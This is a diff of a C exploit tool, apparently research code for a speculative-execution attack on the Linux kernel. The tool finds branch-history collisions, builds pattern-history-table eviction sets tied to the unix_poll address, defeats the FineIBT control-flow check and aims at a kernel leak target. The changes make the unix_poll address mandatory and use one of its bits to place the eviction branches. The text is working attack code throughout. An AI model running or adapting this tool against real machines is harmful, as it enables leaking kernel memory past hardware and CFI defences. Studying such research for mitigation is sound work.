@@ -218,25 +218,25 @@ int main(int argc, char **argv)
218218 break ;
219219 default :
220220 printf ("Usage:\n"
221- "%s -t TARGET_BASE [options]\n"
221+ "%s -t TARGET_BASE -u UNIX_POLL [options]\n"
222222 " -t TARGET_BASE target base address (uuid_string)\n"
223+ " -u UNIX_POLL unix_poll address (required for pht eviction set)\n"
223224 " -h HISTORY a previous found colliding history\n"
224225 " -p PHYS_MAP the start of the physical map\n"
225226 " -f FAST Disable FineIBT check during collision finding\n"
226- " -u unix_poll address (required with -f)\n"
227227 , argv [0 ]);
228228 exit (1 );
229229 }
230230 }
231231
232- if (target_base == 0 ) {
232+ if (target_base == 0 || unix_poll_addr == 0 ) {
233233 printf ("Usage:\n"
234- "%s -t TARGET_BASE [options]\n"
234+ "%s -t TARGET_BASE -u UNIX_POLL [options]\n"
235235 " -t TARGET_BASE target base address (uuid_string)\n"
236+ " -u UNIX_POLL unix_poll address (required for pht eviction set)\n"
236237 " -h HISTORY a previous found colliding history\n"
237238 " -p PHYS_MAP the start of the physical map\n"
238239 " -f FAST Disable FineIBT check during collision finding\n"
239- " -u unix_poll address (required with -f)\n"
240240 , argv [0 ]);
241241 exit (1 );
242242 }
@@ -256,11 +256,6 @@ int main(int argc, char **argv)
256256
257257 if (fast_colliding_phase ) {
258258
259- if (unix_poll_addr == 0 ) {
260- printf ("Please provide the address of unix_poll (-u)\n" );
261- exit (EXIT_FAILURE );
262- }
263-
264259 if (access (PATH_PATCH_INSERT_CHECK , F_OK ) == 0 ) {
265260 cfg .fd_insert_check = open (PATH_PATCH_INSERT_CHECK , O_WRONLY );
266261 assert (cfg .fd_insert_check );
@@ -340,10 +335,14 @@ int main(int argc, char **argv)
340335 cfg .tfp_leak_target = (uint8_t * ) (target_base + TFP_LEAK_TARGET_OFFSET );
341336 printf (" - TFP_LEAK_TARGET: %p\n" , cfg .tfp_leak_target );
342337
338+ // Get 6h bit of the the target branch to be evicted (fine-ibt sid check)
339+ cfg .pht_bit_set = ((unix_poll_addr - 4 ) & 0x20 ) >> 5 ;
340+ printf (" - FINE_IBT SID Branch PC[6]: %d\n" , cfg .pht_bit_set );
341+
343342
344343 for (size_t i = 0 ; i < NUMBER_OF_EVICT_SETS ; i ++ )
345344 {
346- cfg .all_pht_cfg [i ] = init_pht_eviction (0 );
345+ cfg .all_pht_cfg [i ] = init_pht_eviction (cfg . pht_bit_set );
347346 }
348347 printf (" - Allocated %d PHT eviction sets\n" , NUMBER_OF_EVICT_SETS );
349348
@@ -463,7 +462,7 @@ int main(int argc, char **argv)
463462
464463 for (int i = 0 ; i < NUMBER_OF_EVICT_SETS ; i ++ )
465464 {
466- randomize_branch_locations (cfg .all_pht_cfg [i ], 0 );
465+ randomize_branch_locations (cfg .all_pht_cfg [i ], cfg . pht_bit_set );
467466 }
468467
469468 memset (hit_rates , 0 , sizeof (hit_rates ));
0 commit comments